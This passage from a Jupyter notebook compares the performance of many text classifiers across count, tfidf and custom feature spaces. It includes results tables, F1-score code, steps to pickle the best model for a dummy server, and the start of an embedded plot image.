       "      <td>[[20065, 40], [205, 1762]]</td>\n",
       "      <td>{'min_samples_split': 2}</td>\n",
       "      <td>DecisionTreeClassifier(class_weight=None, crit...</td>\n",
       "      <td>{'fpr': [0.0, 9.94777418553e-05, 9.94777418553...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom Logistic</th>\n",
       "      <td>0.991512</td>\n",
       "      <td>0.98446</td>\n",
       "      <td>0.862227</td>\n",
       "      <td>0.996419</td>\n",
       "      <td>0.990221</td>\n",
       "      <td>[[20033, 72], [271, 1696]]</td>\n",
       "      <td>{'C': 100}</td>\n",
       "      <td>LogisticRegression(C=100, class_weight=None, d...</td>\n",
       "      <td>{'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom SGD</th>\n",
       "      <td>0.989922</td>\n",
       "      <td>0.981606</td>\n",
       "      <td>0.877478</td>\n",
       "      <td>0.991793</td>\n",
       "      <td>0.984595</td>\n",
       "      <td>[[19940, 165], [241, 1726]]</td>\n",
       "      <td>{'learning_rate': 'optimal'}</td>\n",
       "      <td>SGDClassifier(alpha=0.0001, average=False, cla...</td>\n",
       "      <td>{'fpr': [0.0, 0.00527232031833, 0.005371798060...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>custom MultinomialNB</th>\n",
       "      <td>0.957036</td>\n",
       "      <td>0.924339</td>\n",
       "      <td>0.916116</td>\n",
       "      <td>0.925143</td>\n",
       "      <td>0.971266</td>\n",
       "      <td>[[18600, 1505], [165, 1802]]</td>\n",
       "      <td>{'alpha': 1.0}</td>\n",
       "      <td>MultinomialNB(alpha=1.0, class_prior=None, fit...</td>\n",
       "      <td>{'fpr': [0.0, 0.0283511564287, 0.0284506341706...</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                            F1-score  accuracy sensitivity specificity  \\\n",
       "tfidf 2grams RandomForest   0.999229  0.998596    0.988307    0.999602   \n",
       "count 2grams RandomForest   0.999130  0.998414    0.988307    0.999403   \n",
       "count 1grams RandomForest   0.999130  0.998414    0.989832    0.999254   \n",
       "tfidf 1grams RandomForest   0.999080  0.998324    0.992883    0.998856   \n",
       "tfidf 2grams Logistic       0.998981  0.998142    0.985257    0.999403   \n",
       "count 2grams Logistic       0.998832  0.997871    0.979664    0.999652   \n",
       "tfidf 3grams Logistic       0.998758  0.997735    0.977631    0.999702   \n",
       "count 2grams SVM            0.998758  0.997735    0.979156    0.999552   \n",
       "tfidf 3grams RandomForest   0.998659  0.997553    0.975089    0.999751   \n",
       "count 1grams SVM            0.998533  0.997327    0.980173    0.999005   \n",
       "count 3grams RandomForest   0.998460  0.997191    0.972039    0.999652   \n",
       "count 3grams Logistic       0.998435  0.997146    0.970513    0.999751   \n",
       "custom RandomForest         0.998285  0.996874    0.978139    0.998707   \n",
       "tfidf 2grams SVM            0.998187  0.996693    0.967463    0.999552   \n",
       "count 3grams SVM            0.998187  0.996693    0.968988    0.999403   \n",
       "count 1grams Logistic       0.998014  0.996375    0.963396    0.999602   \n",
       "tfidf 1grams Logistic       0.997863  0.996104    0.967463    0.998906   \n",
       "tfidf 3grams MultinomialNB  0.997837  0.996058    0.976614    0.997961   \n",
       "tfidf 2grams MultinomialNB  0.997614  0.995651    0.968988    0.998259   \n",
       "tfidf 3grams SVM            0.997246  0.994971    0.947128    0.999652   \n",
       "tfidf 1grams SVM            0.996847  0.994246    0.949161    0.998657   \n",
       "count 2grams MultinomialNB  0.996763   0.99411    0.978139    0.995673   \n",
       "custom SVM                  0.996761   0.99411    0.985257    0.994976   \n",
       "count 3grams MultinomialNB  0.996462  0.993567    0.981698    0.994728   \n",
       "custom MLPClassifier        0.996048  0.992796    0.954753    0.996518   \n",
       "tfidf 1grams MultinomialNB  0.995112  0.991075      0.9273    0.997314   \n",
       "count 1grams MultinomialNB  0.995020  0.990939    0.962379    0.993733   \n",
       "custom AdaBoostClassifier   0.994336   0.98967    0.930351    0.995474   \n",
       "custom DecisionTree         0.993932    0.9889     0.89578     0.99801   \n",
       "custom Logistic             0.991512   0.98446    0.862227    0.996419   \n",
       "custom SGD                  0.989922  0.981606    0.877478    0.991793   \n",
       "custom MultinomialNB        0.957036  0.924339    0.916116    0.925143   \n",
       "\n",
       "                                 auc                   conf_matrix  \\\n",
       "tfidf 2grams RandomForest   0.999375      [[20097, 8], [23, 1944]]   \n",
       "count 2grams RandomForest    0.99912     [[20093, 12], [23, 1944]]   \n",
       "count 1grams RandomForest   0.999426     [[20090, 15], [20, 1947]]   \n",
       "tfidf 1grams RandomForest   0.999167     [[20082, 23], [14, 1953]]   \n",
       "tfidf 2grams Logistic       0.999489     [[20093, 12], [29, 1938]]   \n",
       "count 2grams Logistic       0.998061      [[20098, 7], [40, 1927]]   \n",
       "tfidf 3grams Logistic       0.999575      [[20099, 6], [44, 1923]]   \n",
       "count 2grams SVM             0.99862      [[20096, 9], [41, 1926]]   \n",
       "tfidf 3grams RandomForest   0.999082      [[20100, 5], [49, 1918]]   \n",
       "count 1grams SVM            0.997913     [[20085, 20], [39, 1928]]   \n",
       "count 3grams RandomForest    0.99907      [[20098, 7], [55, 1912]]   \n",
       "count 3grams Logistic         0.9981      [[20100, 5], [58, 1909]]   \n",
       "custom RandomForest         0.998571     [[20079, 26], [43, 1924]]   \n",
       "tfidf 2grams SVM             0.99909      [[20096, 9], [64, 1903]]   \n",
       "count 3grams SVM            0.997568     [[20093, 12], [61, 1906]]   \n",
       "count 1grams Logistic       0.996902      [[20097, 8], [72, 1895]]   \n",
       "tfidf 1grams Logistic       0.998022     [[20083, 22], [64, 1903]]   \n",
       "tfidf 3grams MultinomialNB  0.999112     [[20064, 41], [46, 1921]]   \n",
       "tfidf 2grams MultinomialNB   0.99798     [[20070, 35], [61, 1906]]   \n",
       "tfidf 3grams SVM            0.998131     [[20098, 7], [104, 1863]]   \n",
       "tfidf 1grams SVM            0.996409    [[20078, 27], [100, 1867]]   \n",
       "count 2grams MultinomialNB  0.989279     [[20018, 87], [43, 1924]]   \n",
       "custom SVM                  0.997742    [[20004, 101], [29, 1938]]   \n",
       "count 3grams MultinomialNB  0.997707    [[19999, 106], [36, 1931]]   \n",
       "custom MLPClassifier        0.997632     [[20035, 70], [89, 1878]]   \n",
       "tfidf 1grams MultinomialNB   0.99267    [[20051, 54], [143, 1824]]   \n",
       "count 1grams MultinomialNB  0.976337    [[19979, 126], [74, 1893]]   \n",
       "custom AdaBoostClassifier   0.997814    [[20014, 91], [137, 1830]]   \n",
       "custom DecisionTree         0.990906    [[20065, 40], [205, 1762]]   \n",
       "custom Logistic             0.990221    [[20033, 72], [271, 1696]]   \n",
       "custom SGD                  0.984595   [[19940, 165], [241, 1726]]   \n",
       "custom MultinomialNB        0.971266  [[18600, 1505], [165, 1802]]   \n",
       "\n",
       "                                                                       params  \\\n",
       "tfidf 2grams RandomForest        {'vect__min_df': 5, 'clf__n_estimators': 60}   \n",
       "count 2grams RandomForest        {'vect__min_df': 1, 'clf__n_estimators': 60}   \n",
       "count 1grams RandomForest        {'vect__min_df': 1, 'clf__n_estimators': 60}   \n",
       "tfidf 1grams RandomForest       {'vect__min_df': 40, 'clf__n_estimators': 60}   \n",
       "tfidf 2grams Logistic                     {'vect__min_df': 1, 'clf__C': 1000}   \n",
       "count 2grams Logistic                      {'vect__min_df': 20, 'clf__C': 10}   \n",
       "tfidf 3grams Logistic                     {'vect__min_df': 1, 'clf__C': 1000}   \n",
       "count 2grams SVM            {'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...   \n",
       "tfidf 3grams RandomForest        {'vect__min_df': 5, 'clf__n_estimators': 60}   \n",
       "count 1grams SVM            {'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...   \n",
       "count 3grams RandomForest        {'vect__min_df': 5, 'clf__n_estimators': 60}   \n",
       "count 3grams Logistic                       {'vect__min_df': 2, 'clf__C': 10}   \n",
       "custom RandomForest                                      {'n_estimators': 40}   \n",
       "tfidf 2grams SVM            {'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...   \n",
       "count 3grams SVM            {'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...   \n",
       "count 1grams Logistic                      {'vect__min_df': 40, 'clf__C': 10}   \n",
       "tfidf 1grams Logistic                     {'vect__min_df': 1, 'clf__C': 1000}   \n",
       "tfidf 3grams MultinomialNB                                {'vect__min_df': 2}   \n",
       "tfidf 2grams MultinomialNB                                {'vect__min_df': 2}   \n",
       "tfidf 3grams SVM            {'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...   \n",
       "tfidf 1grams SVM            {'vect__min_df': 5, 'clf__gamma': 0.001, 'clf_...   \n",
       "count 2grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "custom SVM                       {'kernel': 'rbf', 'C': 100, 'gamma': 'auto'}   \n",
       "count 3grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "custom MLPClassifier        {'hidden_layer_sizes': (300, 200, 150, 150), '...   \n",
       "tfidf 1grams MultinomialNB                                {'vect__min_df': 1}   \n",
       "count 1grams MultinomialNB                               {'vect__min_df': 20}   \n",
       "custom AdaBoostClassifier         {'learning_rate': 1.0, 'n_estimators': 100}   \n",
       "custom DecisionTree                                  {'min_samples_split': 2}   \n",
       "custom Logistic                                                    {'C': 100}   \n",
       "custom SGD                                       {'learning_rate': 'optimal'}   \n",
       "custom MultinomialNB                                           {'alpha': 1.0}   \n",
       "\n",
       "                                                                        model  \\\n",
       "tfidf 2grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 2grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 1grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 1grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 2grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 2grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 3grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 2grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 3grams RandomForest   Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 1grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 3grams RandomForest   Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 3grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "custom RandomForest         (DecisionTreeClassifier(class_weight=None, cri...   \n",
       "tfidf 2grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 3grams SVM            Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "count 1grams Logistic       Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "tfidf 1grams Logistic       Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 3grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 2grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 3grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "tfidf 1grams SVM            Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 2grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "custom SVM                  SVC(C=100, cache_size=200, class_weight=None, ...   \n",
       "count 3grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "custom MLPClassifier        MLPClassifier(activation='relu', alpha=0.01, b...   \n",
       "tfidf 1grams MultinomialNB  Pipeline(steps=[('vect', TfidfVectorizer(analy...   \n",
       "count 1grams MultinomialNB  Pipeline(steps=[('vect', CountVectorizer(analy...   \n",
       "custom AdaBoostClassifier   (DecisionTreeClassifier(class_weight=None, cri...   \n",
       "custom DecisionTree         DecisionTreeClassifier(class_weight=None, crit...   \n",
       "custom Logistic             LogisticRegression(C=100, class_weight=None, d...   \n",
       "custom SGD                  SGDClassifier(alpha=0.0001, average=False, cla...   \n",
       "custom MultinomialNB        MultinomialNB(alpha=1.0, class_prior=None, fit...   \n",
       "\n",
       "                                                                          roc  \n",
       "tfidf 2grams RandomForest   {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 2grams RandomForest   {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 1grams RandomForest   {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "tfidf 1grams RandomForest   {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.97388...  \n",
       "tfidf 2grams Logistic       {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 2grams Logistic       {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "tfidf 3grams Logistic       {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 2grams SVM            {'fpr': [0.0, 9.94777418553e-05, 9.94777418553...  \n",
       "tfidf 3grams RandomForest   {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 4.9738870927...  \n",
       "count 1grams SVM            {'fpr': [0.0, 4.97388709276e-05, 4.97388709276...  \n",
       "count 3grams RandomForest   {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 3grams Logistic       {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "custom RandomForest         {'fpr': [0.0, 0.0, 9.94777418553e-05, 9.947774...  \n",
       "tfidf 2grams SVM            {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 3grams SVM            {'fpr': [0.0, 4.97388709276e-05, 4.97388709276...  \n",
       "count 1grams Logistic       {'fpr': [0.0, 4.97388709276e-05, 4.97388709276...  \n",
       "tfidf 1grams Logistic       {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "tfidf 3grams MultinomialNB  {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "tfidf 2grams MultinomialNB  {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "tfidf 3grams SVM            {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "tfidf 1grams SVM            {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 2grams MultinomialNB  {'fpr': [0.0, 0.000149216612783, 0.00014921661...  \n",
       "custom SVM                  {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4.97388...  \n",
       "count 3grams MultinomialNB  {'fpr': [0.0, 4.97388709276e-05, 4.97388709276...  \n",
       "custom MLPClassifier        {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 4....  \n",
       "tfidf 1grams MultinomialNB  {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "count 1grams MultinomialNB  {'fpr': [0.0, 0.000149216612783, 0.00014921661...  \n",
       "custom AdaBoostClassifier   {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "custom DecisionTree         {'fpr': [0.0, 9.94777418553e-05, 9.94777418553...  \n",
       "custom Logistic             {'fpr': [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0....  \n",
       "custom SGD                  {'fpr': [0.0, 0.00527232031833, 0.005371798060...  \n",
       "custom MultinomialNB        {'fpr': [0.0, 0.0283511564287, 0.0284506341706...  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def f1_score(conf_matrix):\n",
    "    precision = conf_matrix[0][0] / (conf_matrix[0][0] + conf_matrix[0][1] )\n",
    "    recall = conf_matrix[0][0] / (conf_matrix[0][0] + conf_matrix[1][0] )\n",
    "    \n",
    "    return (2 * precision * recall) / (precision + recall)\n",
    "\n",
    "#load classifier table if not yet loaded\n",
    "classifier_results = pickle.load( open( \"data/trained_classifiers.p\", \"rb\" ) )\n",
    "\n",
    "#Calculate F1-scores\n",
    "classifier_results['F1-score'] = [ f1_score(conf_matrix) for conf_matrix in classifier_results['conf_matrix']]\n",
    "\n",
    "#Re-arrange columns\n",
    "classifier_results = classifier_results[['F1-score','accuracy','sensitivity','specificity','auc','conf_matrix','params','model','roc']]\n",
    "\n",
    "#re-sort on F1-score\n",
    "classifier_results = classifier_results.sort_values(['F1-score','accuracy'], ascending=[False,False])\n",
    "\n",
    "display(classifier_results)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Final formating  \n",
    "Convert numeric columns to float  \n",
    "Round numeric columns to 4 decimals  "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 42,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "F1-score       float64\n",
       "accuracy       float64\n",
       "sensitivity    float64\n",
       "specificity    float64\n",
       "auc            float64\n",
       "conf_matrix     object\n",
       "params          object\n",
       "model           object\n",
       "roc             object\n",
       "dtype: object"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "classifier_results[['F1-score','accuracy','sensitivity','specificity','auc']] = classifier_results[['F1-score','accuracy','sensitivity','specificity','auc']].apply(pd.to_numeric)\n",
    "classifier_results = classifier_results.round({'F1-score':4,'accuracy':4,'sensitivity':4,'specificity':4,'auc':4})\n",
    "#classifier_results[['F1-score','accuracy','sensitivity','specificity','auc','conf_matrix','params']].to_csv('data/classifiers_result_table.csv')\n",
    "display(classifier_results.dtypes)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Export classifiers\n",
    "First, export full list of trained classifiers for later use\n",
    "Second, pick one classifier to save in a separate pickle, used later to implement in a dummy server"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 43,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "#save complete list of classifiers to 'trained_classifiers'\n",
    "pickle.dump( classifier_results, open( \"data/trained_classifiers.p\", \"wb\" ) )"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "#In this case, we are going to implement tfidf 2grams RandomForest in our dummy server\n",
    "classifier = (custom_features_classifiers['model'].iloc[0])\n",
    "print(classifier)\n",
    "\n",
    "#Save classifiers in a pickle file to be able to re-use them without re-training\n",
    "pickle.dump( classifier, open( \"data/tfidf_2grams_randomforest.p\", \"wb\" ) )"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Step4B - load pre-trained classifiers\n",
    "Instead of re-training all classifiers, load the classifiers from disk that we have already trained"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "classifier_results = pickle.load( open( \"data/trained_classifiers.p\", \"rb\" ) )"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Step5 - Visualization\n",
    "In this section we will visualize:\n",
    " - Histogram of classifier performances\n",
    " - Learning curves\n",
    " - ROC curves"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Performance histogram\n",
    "First, make a histogram of classifier performance measured by F1-score.  \n",
    "Same classifier using different feature spaces are clustered together in the graph  \n",
    "Also, print the table of F1-scores and computes the averages along the x-axis and y-axis,  \n",
    "e.g. the average F1-score for each classifier, and the average F1-score for each feature space"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 151,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>custom</th>\n",
       "      <th>count 1grams</th>\n",
       "      <th>count 2grams</th>\n",
       "      <th>count 3grams</th>\n",
       "      <th>tfidf 1grams</th>\n",
       "      <th>tfidf 2grams</th>\n",
       "      <th>tfidf 3grams</th>\n",
       "      <th>Avg Feature</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>MLPClassifier</th>\n",
       "      <td>0.9960</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.9960</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>RandomForest</th>\n",
       "      <td>0.9983</td>\n",
       "      <td>0.9991</td>\n",
       "      <td>0.9991</td>\n",
       "      <td>0.9985</td>\n",
       "      <td>0.9991</td>\n",
       "      <td>0.9992</td>\n",
       "      <td>0.9987</td>\n",
       "      <td>0.9989</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>MultinomialNB</th>\n",
       "      <td>0.9570</td>\n",
       "      <td>0.9950</td>\n",
       "      <td>0.9968</td>\n",
       "      <td>0.9965</td>\n",
       "      <td>0.9951</td>\n",
       "      <td>0.9976</td>\n",
       "      <td>0.9978</td>\n",
       "      <td>0.9908</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>DecisionTree</th>\n",
       "      <td>0.9939</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.9939</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SVM</th>\n",
       "      <td>0.9968</td>\n",
       "      <td>0.9985</td>\n",
       "      <td>0.9988</td>\n",
       "      <td>0.9982</td>\n",
       "      <td>0.9968</td>\n",
       "      <td>0.9982</td>\n",
       "      <td>0.9972</td>\n",
       "      <td>0.9978</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SGD</th>\n",
       "      <td>0.9899</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.9899</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Logistic</th>\n",
       "      <td>0.9915</td>\n",
       "      <td>0.9980</td>\n",
       "      <td>0.9988</td>\n",
       "      <td>0.9984</td>\n",
       "      <td>0.9979</td>\n",
       "      <td>0.9990</td>\n",
       "      <td>0.9988</td>\n",
       "      <td>0.9975</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AdaBoostClassifier</th>\n",
       "      <td>0.9943</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.0000</td>\n",
       "      <td>0.9943</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Avg Classifier</th>\n",
       "      <td>0.9897</td>\n",
       "      <td>0.9976</td>\n",
       "      <td>0.9984</td>\n",
       "      <td>0.9979</td>\n",
       "      <td>0.9972</td>\n",
       "      <td>0.9985</td>\n",
       "      <td>0.9981</td>\n",
       "      <td>0.9949</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                    custom  count 1grams  count 2grams  count 3grams  \\\n",
       "MLPClassifier       0.9960        0.0000        0.0000        0.0000   \n",
       "RandomForest        0.9983        0.9991        0.9991        0.9985   \n",
       "MultinomialNB       0.9570        0.9950        0.9968        0.9965   \n",
       "DecisionTree        0.9939        0.0000        0.0000        0.0000   \n",
       "SVM                 0.9968        0.9985        0.9988        0.9982   \n",
       "SGD                 0.9899        0.0000        0.0000        0.0000   \n",
       "Logistic            0.9915        0.9980        0.9988        0.9984   \n",
       "AdaBoostClassifier  0.9943        0.0000        0.0000        0.0000   \n",
       "Avg Classifier      0.9897        0.9976        0.9984        0.9979   \n",
       "\n",
       "                    tfidf 1grams  tfidf 2grams  tfidf 3grams  Avg Feature  \n",
       "MLPClassifier             0.0000        0.0000        0.0000       0.9960  \n",
       "RandomForest              0.9991        0.9992        0.9987       0.9989  \n",
       "MultinomialNB             0.9951        0.9976        0.9978       0.9908  \n",
       "DecisionTree              0.0000        0.0000        0.0000       0.9939  \n",
       "SVM                       0.9968        0.9982        0.9972       0.9978  \n",
       "SGD                       0.0000        0.0000        0.0000       0.9899  \n",
       "Logistic                  0.9979        0.9990        0.9988       0.9975  \n",
       "AdaBoostClassifier        0.0000        0.0000        0.0000       0.9943  \n",
       "Avg Classifier            0.9972        0.9985        0.9981       0.9949  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "image/png": "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\nGvhbjDGfLf0B+HkIISOEUIfUTVVbC8x